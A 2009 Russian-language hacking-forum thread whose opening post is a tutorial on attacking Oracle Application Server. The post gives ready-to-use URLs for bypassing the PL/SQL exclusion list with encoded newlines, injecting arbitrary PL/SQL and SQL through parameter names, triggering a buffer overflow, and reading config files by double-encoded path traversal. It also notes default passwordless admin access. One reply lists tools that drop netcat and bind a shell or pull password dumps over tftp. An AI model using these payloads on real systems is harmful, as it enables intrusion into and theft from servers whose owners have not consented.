Авторские статьи Oracle Hack часть первая: Oracle Application Server

Discussion in 'Статьи' started by [ DSU ], 14 May 2009.

  1. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    1. Статья рассчитана на людей которые уже имеют знания в sql-injection в Oracle.
    2. В этой часть речь пойдет именно об Oracle Application Server
    3. Все вопросы или дополнения приветствуются


    1. Начало
    Oracle Application Server — это основанная на стандартах интегрированная программная платформа, позволяющая организациям любого масштаба оперативнее реагировать на меняющиеся требования рынка. Oracle Application Server 10g обеспечивает полную поддержку технологии J2EE и распределенных вычислений, включает встроенное ПО для корпоративных порталов, высокоскоростного Web-кэширования, бизнес-анализа, быстрого внедрения приложений, интеграции бизнес-приложений, поддержки беспроводных технологий, Web-сервисов — и все это в одном продукте. Поскольку платформа Oracle Application Server 10g оптимизирована для Grid Computing, она позволяет повысить степень готовности IT-систем и снизить расходы на приобретение аппаратных средств и администрирование.(www.oracle.com)

    1.Начнем с того как нам понять что мы имеем дело именно с Oracle Application Server.

    Первое и самое главное это спецефический URL который легко распознается.

    Пример
    Code:
    http://www.site.com/pls/dad/package_name.procedure_name
    package_name это естественно название пакета и procedure_name название процедуры
    /dad/ это так называемый дескриптор доступа к БД (Database Access Descriptor) он прописан в dads.conf и содержит в себе данные для подключения к БД (адресс сервера,логин, пароль, sid)
    /pls/ это укозатель на то что будет использоватся PlSql модуль, он прописан по умолчанию в plsql.conf в Apache Web Server
    Но даже если использован другой укозатель распознать не проблема по псевдо расщирению файлов так как это название процедуры которую надо выполнить

    Второе это так называемый баннер который передается в ответ на http запрос если он содержит в себе Oracle-Application-Server или
    Oracle HTTP Server то это Application server правдо есть еще варианты Oracle9iAS и Oracle_Web_listener3 но с такими не сталкивался, из личной практики скажу что банеры часто меняют администраторы так что вариант номер один дает больше уверености.

    2. Как оно работает

    Oracle Application Server это всеволиш вебсервер который обращается к БД все пакеты процедур физически находятся в БД то есть сервер всеволиш дает запрос на выполнение процедуры и передает нам данные, формирования HTML страниц тоже происходит на уровне БД
    Важно понемать что все найденные "баги" в Oracle Database можно использовать просто сформировав нужный Url.
    И так что происходит когда мы набираем в браузере к примеру
    Code:
    http://site.com/pls/prt/news.get_news?id=1
    Сервер получает от нас название пакета процедур "news" название процедуры "get_news" перменную id и иё значение 1
    сервер формирует запрос к бд который выгледит так

    Code:
     declare
      rc__ number;
      start_time__ binary_integer;
      simple_list__ owa_util.vc_arr;
      complex_list__ owa_util.vc_arr;
     begin
      start_time__ := dbms_utility.get_time;
      owa.init_cgi_env(:n__,:nm__,:v__);
      htp.HTBUF_LEN := 255;
      null;
      null;
      simple_list__(1) := 'sys.%';
      simple_list__(2) := 'dbms\_%';
      simple_list__(3) := 'utl\_%';
      simple_list__(4) := 'owa\_%';
      simple_list__(5) := 'owa.%';
      simple_list__(6) := 'htp.%';
      simple_list__(7) := 'htf.%';
      [b]if ((owa_match.match_pattern('news.get_news', simple_list__,complex_list__, true))) then[/b] 
    -- в строке выше происходит проверка нет ли обращения к процедурам к которым пользователь со сторыны web server-a доступа иметь не должен 
       rc__ := 2;
      else
       null;
       orasso.wpg_session.init();
       [b]news.get_news.bar(id=>:id);[/b] -- если проверка пройдена удачно то выполняем процедуру 
       if (wpg_docload.is_file_download) then
        rc__ := 1;
        wpg_docload.get_download_file(:doc_info);
        orasso.wpg_session.deinit();
        null;
        null;
        commit;
       else
        rc__ := 0;
        orasso.wpg_session.deinit();
        null;
        null;
        commit;
        owa.get_page(:data__,:ndata__);
       end if;
      end if;
      :rc__ := rc__;
      :db_proc_time__ := dbms_utility.get_time - start_time__;
    end;
    
    Теперь перейдем непосредственно к процессу атаки.


    3. В бой


    Как раньше упоминал при обращение к бд Oracle Application Server вписывает в запрос строку для проверки базой нет ли названий процедры и пакета в списке запрещенных.
    этот список постоянно дополняется поэтому сказать какой он на сегоднящний день я не могу но выглядит он примерно так
    Code:
    OWA*
    SYS.*
    DBMS_*
    HTP.*
    HTF.*
    UTL_*
    Но на любое действие как известно есть противодействие
    Путь первый: url кодировка которую сервер естественно перекодирует и отправляет базе
    Пример
    Code:
    site.com/pls/prt/%0AHTP.PRINT?id=123
    Символ переноса строки "%0A" помог обойти проверку, упомянуть о том что oracle выпустил патч под данную уязвисмость и по моим личным наблюдениям могу сказать что он стоит в 80% встречающихся мне случаев.
    Так же можно использовать не только символ переноса строки а так же таб пробел итд, проверяйте ищите)
    David Litchfield (http://www.ngssoftware.com/) предложил один простой но очень эфективный способ, я tit не встречал случая чтоб он не сработал и надеюсь не встречу :)
    Первое что нам надо найти это процедуру не требующию передачу параметра через переменную то есть что-то набодобие
    Пример
    Code:
    site.com/pls/prt/portal.about
    
    Если передать любую переменную со значением site.com/pls/prt/portal.about?str=test сервер в ответ вернет ошибку 404 но перед тем как вернуть ответ бд выполнить pl/sql запрос
    то есть строки
    Code:
    ...
    if ((owa_match.match_pattern('portal.about', simple_list__,
    complex_list__,
    true))) then
     rc__ := 2;
    else
     null;
     orasso.wpg_session.init();
     portal.about(str=>:str);
    ...
    
    То есть название переменной передается в код и это открывает возможность для проведения иньекции.
    Напомню что одностроковый коментарий в oracle обозначается как "--".
    Пример
    Code:
    site.com/pls/prt/portal.about?);HTP.PRINT(:1);--=test
    запрос к БД будет выглядеть так
    Code:
    ...
    if ((owa_match.match_pattern('portal.about', simple_list__,
    complex_list__,
    true))) then
     rc__ := 2;
    else
     null;
     orasso.wpg_session.init();
     portal.about();HTP.PRINT(:1);--=>:);HTP.PRINT(:1);--);
    
    ...
    
    
    В ответ от сервера мы должны получит test среди прочего html.
    Таким способом можно получит доступ к процедурам из списка "запрещенных" но и не только так можно выполнить любую процедуру которая выполняется от имени супер пользователя sys (как root в mysql, sa в mssql итд) и как известно в стандартных пакетах процедур oracle database есть много таких которые подвержены sql иньекциям.
    Также использую процедуру OWA_UTIL.CELLSPRINT или ctxsys.driload.validate_stmt(в версии oracle 9i сечыны имеет права DBA) выполнить просто sql запрос к базе

    Пример
    Code:
     site.com/pls/prt/portal.about?);CTXSYS.DRILOAD.VALIDATE_STMT(:1);--=SELECT+USERNAME+FROM+ALL_USERS
    
        или 
    
    site.com/pls/prt/portal.about?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS
    
    Так же бывают случаи что нам нужна другая БД с того же БД сервера в Oracle к ней можно обратится в sql запросе так Select * from dba_users@imia_bd

    Далее
    Но вот делема что делать если доступ нужен не к БД которая часто на другом сервере а именно на тот сервер где стоит Application Server но и тут разработчики Oracle нас не подвели :)
    Oracle Application Server так-же имеет уязвимости, переполнения буфера одно из них, используя этот способ такого полета фантазии как при sql иньекциях не будет так как если патч стоит то он стоит и всё тут но всё-же о некоторых я думаю стоит упомянуть.

    Старая уязвимость в админ хелпе но много где не патченая выглядит так
    Code:
    http://site.com/pls/prt/admin_/help/AAAAA......
    если передать ААААА более 1000байт произойдет переполнение (эксплоиты запость позже с собой нету а писать то что уже писал в лом хотя изощрятся там не надо всё просто :) )
    Еше одна уязвимость под которую кстате в metasploite есть експлоит находится в процессе http авторизации описывать данную уязвимость не буду просто скажу что переполнение происходит при слишком длинном значении пароля кому интересно загляните на http://trac.metasploit.com/browser/framework3/trunk/modules/exploits/windows/http/oracle9i_xdb_pass.rb?rev=4059
    Еше у нас есть чтение файлов
    пример
    Code:
    http://site.com/pls/prt/admin_/help/..%255Cplsql.conf
    проблема в том что plsql модуль для Apache декодирует Url кодировку дважды сначало %255C становится %5C а потом %5C декодируется как \
    Да и чуть не забыл упямянуть что по умолчанию администрировать Oracle Application Server старых версий можно без пароля то есть
    мы заходим на
    Code:
    http://site.com/pls/prt/admin_/
    и вуаля прям как в сказке админ панель у нас в руках) замечу что я такое встречал не раз)


    Конец

    Если всё описаное выще в вашем случае не подходит советую посетить metalink.oracle.com и прочетать какие исправления выпущены по личному опыту скажу что один два патча минимум не стоят или же пойти по пути более интересному находить процедуры которые уязвимы к sql иньекциям это не сложно просто при этом есть некоторые специфические только для оракла правила
    но об этом будет написано в следущей статье.

    P.S Хочу выразить благодарность David Litchfield
    и Pete Finnigan Pete Finnigan

    Статья не полная будет дополнятся тут описаны не все способы а только лиш то о чего можно благополучно отталкиваться. Статья будет дополнятся и это только часть серии статей посвященных продуктам компании Oracle
    Сорри за мой русский не родной язык.
     
    #1 [ DSU ], 14 May 2009
    Last edited: 15 May 2009
    7 people like this.
  2. .W

    .W Elder - Старейшина

    Joined:
    9 Aug 2007
    Messages:
    177
    Likes Received:
    228
    Reputations:
    33
    первый нах!
    А если по теме, то статья написана грамотно, но пользователей которым будет она интересна тут не так много...
     
    #2 .W, 15 May 2009
    Last edited: 15 May 2009
  3. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Отлично! Кто автор?
     
  4. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    Автор я в процесе написания да и изучения оракла использовал матерьял личфилда и финегана почему в конце и написал спасибо им
     
  5. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Молодец! Материала выходящего за рамки LAMP реально мало, а жаль..

    З.Ы.
    А базировался на материалах какого года?
     
  6. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    дорк или живой пример?
     
  7. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    2003-2008 год так как к от оракла отошел в конце 2008 только вот опять заинтересовл он меня на фоне этого и решил написать серию статей.
    Но тут описал то чем пользовался сам и не раз... поэтому и могу каждый нюянс при необходимости в подробностах обьяснить yckb возникнут вопросы.
     
    #7 [ DSU ], 15 May 2009
    Last edited: 15 May 2009
  8. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
     
  9. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    ну это как в школе "дети для закрепления материала, откроем задачник на странице ..."

    хотя это конечно блажь уже :)
    материал хороший, положу в закладки, надеюсь когда-нибудь пригодится.
     
  10. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    В общем, живой пример покажи, если есть что на примете :)
     
  11. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    Буду знать)
    Не у меня подход такой пока не сам не попробовал не пытаюсь кому нить объяснить как это делать :)
     
  12. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    Есть но не буду, в гугле найти веб сайты построенные на Application Server-е просто, это крупные проекты, тут выкидывать ссылку чтоб над серваком поиздевались не хочу.
     
    #12 [ DSU ], 15 May 2009
    Last edited: 15 May 2009
  13. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Орфографию поправить надо, и дополняй. Вроде неплохо. =)
     
  14. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    На данный момент я работаю над второй частью статьи в которой идет рассмотрение различных способов и возможностей поднять свои права на сервере Бд оракл. Как закончу посмотрю данный матерьял поправлю всё что надо и дам ссылку на рабочие сплоиты.
     
  15. [underwater]

    [underwater] Member

    Joined:
    29 Mar 2009
    Messages:
    78
    Likes Received:
    92
    Reputations:
    27
    Oracle Auditing Tools
    http://www.cqure.net/tools.jsp?id=7

    - OraclePWGuess - атака по словарю или поиск дефолтных аккаунтов;
    - OracleQuery - sql-запросы из командной строки;
    - OracleSysExec - может работать в двух режимах: ручном (можно задавать какие комманды выполнить) или автоматическом (заливается неткат и вешается шелл на 31337/tcp);
    - OracleTNSCtrl - запрашивает через TNS listener различную информацию, для списка комманд читаем хелп;
    - OracleSamDump - соединятся с оракловым сервером и пытается посредством tftp загрузить туда pwdump2, затем возвращает результаты.

    Скачать

    Исходники
     
  16. [ DSU ]

    [ DSU ] Elder - Старейшина

    Joined:
    22 Oct 2007
    Messages:
    103
    Likes Received:
    96
    Reputations:
    88
    Вообщето это статья про Oracle Application Server то что его уязвимости используются вместе с "багами" БД Oracle это одно но то что ты тут отпостил относится к атакам на TNS listener и данной теме в этой серии статей будет посвящена отдельная тема.